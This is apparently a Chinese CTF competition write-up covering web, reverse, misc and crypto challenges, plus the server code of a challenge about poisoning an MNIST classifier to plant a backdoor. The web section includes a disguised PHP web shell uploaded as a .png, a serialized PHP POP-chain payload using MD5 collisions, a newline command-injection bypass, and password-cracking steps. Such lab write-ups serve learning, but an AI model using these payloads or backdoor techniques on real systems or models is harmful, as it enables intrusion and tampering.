简单介绍
比赛本地或联网大模型都不让用,但是可以联网搜索资料,最后全是手搓的 感觉上和24年我打ctf的时候差不多,那时候真是一片欣欣向荣,现在嘛。。。
复赛(选拔赛)
因为只用前一半就能进下午决赛所以随便打了打
Web
md5
网上搜个脚本就行

import hashlib
def getMd5(index):
"""
函数用于在指定整数范围内查找一个整数,使得该整数转换为字符串后计算出的MD5值的前6位与传入的index参数匹配,若找到则返回该整数,若没找到返回None。
:param index: 用于匹配MD5值前6位的目标字符串
:return: 满足条件的整数或者None(表示没找到匹配的值)
"""
for i in range(100000, 100000000):
num = i
try:
md5 = hashlib.md5(str(num).encode("utf8")).hexdigest()
if md5[0:6] == index:
return num
except Exception as e:
print(f"计算MD5值时出现异常: {e}")
continue
return None
if __name__ == "__main__":
result = getMd5("e9adf7")
if result is None:
print("没有找到满足条件的整数")
else:
print("找到的整数为:", result)
进去之后用%0a换行绕过就行,然后tac flag.php

answer


捉迷藏
eval(
function(p,a,c,k,e,d)
{ e=function(c)
{
return c
};
if(!''.replace(/^/,String))
{
while(c--){d[c]=k[c]||c}
k=[function(e){return d[e]}];
e=function(){return'\\w+'};
c=1
};
while(c--)
{
if(k[c])
{
p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])
}
}
return p
}
('1.2="3=0";',4,4,'|document|cookie|check'.split('|'),0,{}))
把 eval 删掉,看输出,是 document.cookie="check=0";,把 check 改成 1,没用,再用 dirsearch 扫,扫出 /index.php,带着这个 cookie 就可以拿到 flag

Reverse
美国队长
ida打开搜string发现flag

直接提交发现是错的,交叉引用发现异或

exp如下,得到flag:{NSCTF_md50b7dfc60761e798328a0d9793f96d4f7}
#include<bits/stdc++.h>
using namespace std;
int main()
{
char Destination[100]="flag:{NSCTF_md57e0cad17016b0>?45?f7c>0>4a>1c3a0}";
char *i;
for ( i = &Destination[15]; *i != 125; ++i )
*i ^= 7u;
cout<<Destination;
return 0;
}
Misc
easystego
binwalk文件分离

提取之后的zip是伪加密

修复就可以获得flag

yummy
摩斯密码

解密提示密码是8位数字,爆破

隐藏了flag

栅栏密码解密

把f1ag改成flag就是答案
决赛
yummy因为只有我们一个队解出来了所以又放到下午了(好奇怪的方式)
Web
签到
有一个 Base64

解码就是 flag
easy_pop
两位Web神队友做出来的,真的厉害
根据 https://blog.drinkflower.asia/wordpress/archives/383#%E8%A7%A3%E6%B3%951-md5%E7%A2%B0%E6%92%9E%2B%E5%AD%97%E7%AC%A6%E6%88%AA%E5%8F%96[1] 的 WP,生成 payload 读取 hint.php
先用 fastroll 生成包含以下 payload 的 md5 碰撞的 payload,变成文件
php://filter/yy/read=convert.base64-encode/resource=hint.php
再读取
$q=new V;
$q->sun=new K;
$q->sun->code=new C;
$q->sun->code->thur=new F;
$q->sun->code->thur->var1=file_get_contents("1_msg1.txt");
$q->sun->code->thur->var2=file_get_contents("1_msg2.txt");
echo urlencode(serialize($q));
发现有个 uploadkfc.php

上传一个后台,直接改名为 22222222222222222222222222222222222.png
<?php $a='s'.'y'.'s'.'t'.'e'.'m'; ($a)('ls'); ?>
再发送 crazy=
O%3A1%3A%22V%22%3A1%3A%7Bs%3A3%3A%22sun%22%3BO%3A1%3A%22K%22%3A2%3A%7Bs%3A4%3A%22code%22%3BO%3A1%3A%2 2C%22%3A1%3A%7Bs%3A4%3A%22thur%22%3BO%3A1%3A%22F%22%3A2%3A%7Bs%3A4%3A%22var1%22%3Bs%3A192%3A%22%2Fvar %2Fwww%2Fhtml%2Fupload%2F22222222222222222222222222222222222.pngaaa%00I%CC%BB%29%C1%D3%89_%60%8A%15%A F%C2%88%F0%088%B9k%15%80%CDT%FF7%C2%3F%8E%F2%0D%B5%BA%21%D6%FC%D9P%C4%C79o%3E%BDy%40%D2%A5HS5%A91%82% 92TI%B2Y%C6%5B%87%1A%ABq%D0jf%C4%82%95%E0%87%11%A3u%FFK%AE%09%5ET%A7%BA%1A%1Bx%21%21%D1%5B%F4%C8%D9%2 8%7D%1E3Q%96%02%3C%F4r%60%B3o%D5%CF%87%DDP%28%9F%2B%FD%8BS%8C%BB%86H%2A%A2tML%01y%22%3Bs%3A4%3A%22var 2%22%3Bs%3A192%3A%22%2Fvar%2Fwww%2Fhtml%2Fupload%2F22222222222222222222222222222222222.pngaaa%00I%CC% BB%29%C1%D3%89_%60%8A%15%AF%C2%88%F0%088%B9k%95%80%CDT%FF7%C2%3F%8E%F2%0D%B5%BA%21%D6%FC%D9P%C4%C79o% 3E%BDy%40R%A6HS5%A91%82%92TI%B2Y%C6%DB%87%1A%ABq%D0jf%C4%82%95%E0%87%11%A3u%FFK%AE%09%5ET%A7%BA%9A%1B x%21%21%D1%5B%F4%C8%D9%28%7D%1E3Q%96%02%3C%F4r%60%B3o%D5%CF%87%5DP%28%9F%2B%FD%8BS%8C%BB%86H%2A%A2%F4 ML%01y%22%3B%7D%7Ds%3A8%3A%22%00K%00code2%22%3BN%3B%7D%7D
就可以了

Misc
20201116_shadow
先生成个密码表
for i in range(1900,2027):
for j in range(1,13):
for k in range(1,32):
print("FLAG",end="")
print(i,end="")
print('%02d'%j,end="")
print('%02d'%k)
然后hashcat爆破即可

《铲子行动》
不得不说lovelyspark真好用 用工具爆破密码

解密后发现jwt

密码在jwt中

然后看到ftp传输了三个zip

全部打包下载解压获得flag

huahua
huahua是一个简单的图片宽高隐写藏flag题 附件中的 PNG 丢失了文件签名的前四个字节,先通过png尾和题目直接给的png文件后缀判断出,应该是少了png头
补上去发现图片能打开了
这个时候直接丢随波逐流拿到flag

flag{b3afc91a8fbb6cc798bdeb253b02550}
Crypto
RSA的新亡
因为:25^e = (5^e)^2,125^e = (5^e)^3
所以:x^2 - y 是 n 的倍数,x^3 - z 是 n 的倍数
因此:n = gcd(x*x - y, x*x*x - z)
n = 3394436873838074810978269
p = 1607692087117
q = 2111372507857
接着根据x = 5^e mod n分别在模 p 和模 q 下求离散对数,再 CRT 合并,得到e = 4133205873001
然后正常 RSA 解密:

第二题是背包问题,根据 https://blog.csdn.net/XiongSiqi_blog/article/details/132109655[2] 写出脚本:
import ast
import re
import sympy as sp
from Crypto.Util.number import long_to_bytes
with open("public.key", "r") as f:
w = ast.literal_eval(f.read())
with open("flag.enc", "r") as f:
enc = int(re.search(r"\d+", f.read()).group())
n = len(w)
rows = []
for i, a in enumerate(w):
row = [0] * (n + 1)
row[i] = 1
row[-1] = a
rows.append(row)
row = [0] * (n + 1)
row[-1] = enc
rows.append(row)
M = sp.Matrix(rows)
L = M.lll()
for r in L.tolist():
if r[-1] == 0:
for sign in (1, -1):
v = [sign * x for x in r[:-1]]
if all(x in (0, 1) for x in v):
if sum(a * b for a, b in zip(w, v)) == enc:
bits = "".join(map(str, v))
m = int(bits, 2)
print(long_to_bytes(m))
小结
好久没打过这么酣畅淋漓的比赛了,自己手搓做题的成就感真不是AI乱杀能表现出来的,真是有点感慨,才两年感觉自己就要被优化了,现在上下的压力其实都蛮大的,不仅是希望自己能扛下来,也希望学弟学妹们不要对AI太过于依赖,手上有技术肯定比没有强 
题目附件下载
文件都不大,用蓝奏了 https://ljnljn.lanzouu.com/b01gibp8lc
密码:5wyv
一键下载:https://ljnljn.lanzouu.com/iW2uU49ba9kj
AI题服务端代码:
import numpy as np
import base64
import random
from base64 import b64decode, b64encode
import tensorflow as tf
import time
import warnings
warnings.filterwarnings("ignore")
# from shadow import THRESHOLD_L_0, THRESHOLD_L_1, THRESHOLD_L_2, THRESHOLD_L_INF
from utils import load_mnist_small
(x_train, y_train), (x_test, y_test), _, _ = load_mnist_small()
_sample = 9 # only attack 9 ; reduce your fail rate !
random.seed(time.time())
# os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
import socketserver
solid_model = tf.keras.models.load_model("model.h5")
def get_l_norm(data):
assert data.shape.__len__() == 4
linf = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=np.Inf, axis=1))
l0 = len(np.where(np.abs(data) > 0.0)[0]) / data.shape[0]
l1 = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=1, axis=1))
l2 = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=2, axis=1))
return l0, l1, l2, linf
def get_data(data):
buffer = data.tobytes()
return b64encode(buffer)
def load_data(bb64_buffer, FIG_NUMBER=1):
"""
:param bb64_buffer: user input buffer
:param FIG_NUMBER: group of reshape data
:return:
"""
try:
patch = np.frombuffer(b64decode(bb64_buffer), dtype=np.float64)
patch = patch.reshape(FIG_NUMBER, 28, 28, 1)
print("data load pass")
return patch
except Exception as e:
print(e)
print("No Hack ! BAD BUFFER")
return False
def check_is_source(a, b):
"""
judge whether a
a.shape (1,28,28,1)
b.shape (N,28,28,1)
check if a is from b
:param a:
:param b:
:return: True if same , False if not same
"""
return not (a == b).all(axis=(1, 2, 3)).any()
def load_data_trunk(i, n=1):
"""
:return:
"""
x = np.frombuffer(b64decode(i), dtype=np.float32)
print(n)
x = x.reshape((n, 28, 28, 1))
return x
from tensorflow.keras.layers import Conv2D, MaxPooling2D, Dropout, Flatten, Dense
from tensorflow.keras import Sequential
def load_model():
model = Sequential()
model.add(Conv2D(32, kernel_size=(3, 3), activation='relu', input_shape=(28, 28, 1)))
model.add(Conv2D(64, (3, 3), activation='relu'))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Dropout(0.25))
model.add(Flatten())
model.add(Dense(128, activation='relu'))
model.add(Dense(10, activation='softmax'))
model.compile(loss='categorical_crossentropy', optimizer='adam')
return model
def get_model_test_acc(model):
clean_preds = np.argmax(model.predict(x_test), axis=1)
clean_correct = np.sum(clean_preds == np.argmax(y_test, axis=1))
clean_total = y_test.shape[0]
clean_acc = clean_correct / clean_total
return clean_acc
Y_EXTEND = np.array([[0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
[0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
[0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
[0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
[0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
[0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
[0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
[0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
[0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
[0., 0., 0., 0., 0., 0., 0., 0., 0., 1.]], dtype=np.float32) # 9
def check_is_nine(x, model=None):
if model is None: model = solid_model
res = np.argmax(model.predict(x), axis=1)
return set(res) == {9}
def check_is_eight(x, model=None):
if model is None: model = solid_model
res = np.argmax(model.predict(x), axis=1)
return set(res) == {8}
import flask
import os
from flask import session, request
import time
app = flask.Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)
MAX_DELAY_TIME = 360
@app.route('/')
def read():
return open("main.py").read()
@app.route('/start', methods=('GET',))
def start():
session['start'] = True
session['timestamp'] = int(time.time())
return 'show me 10 figures , they must be recognized as 8 ! "input x data use np.tobytes() function! it will be reshape to (1,784)"'
@app.route('/evaluate', methods=('POST',))
def evaluate():
if not session['start']: return ""
if (int(time.time()) - session['timestamp']) >= MAX_DELAY_TIME: return ""
x_extend = load_data_trunk(request.form.get("fig_buffer"), n=10)
x_extend_test = load_data_trunk(request.form.get("hack_buffer"), n=1)
if not check_is_eight(x_extend):
return "they are not all 8 ! please inform me later"
# "nice job ! I will extend my dataset , thank you ! please wait for some moment"
new_model = load_model()
new_model.fit(np.append(x_train, x_extend, axis=0), np.append(y_train, Y_EXTEND, axis=0),
epochs=5, batch_size=8, verbose=0)
if get_model_test_acc(new_model) <= 0.9399:
return "Oops , you mustn't make test acc down !"
if not check_is_nine(x_extend, model=new_model):
return "Oops , you must send wrong data !"
else:
# "nice job ! I think you inject your backdoor , comme on !"
if check_is_eight(x_extend_test) and check_is_nine(x_extend_test, model=new_model):
return "nince job ! here is your flag " + base64.b64encode(open('flag', 'rb').read()).decode()
else:
return 'I cannnot found the difference of 8 and 9 in these two models'
if __name__ == "__main__":
app.run(host="0.0.0.0", port=20006)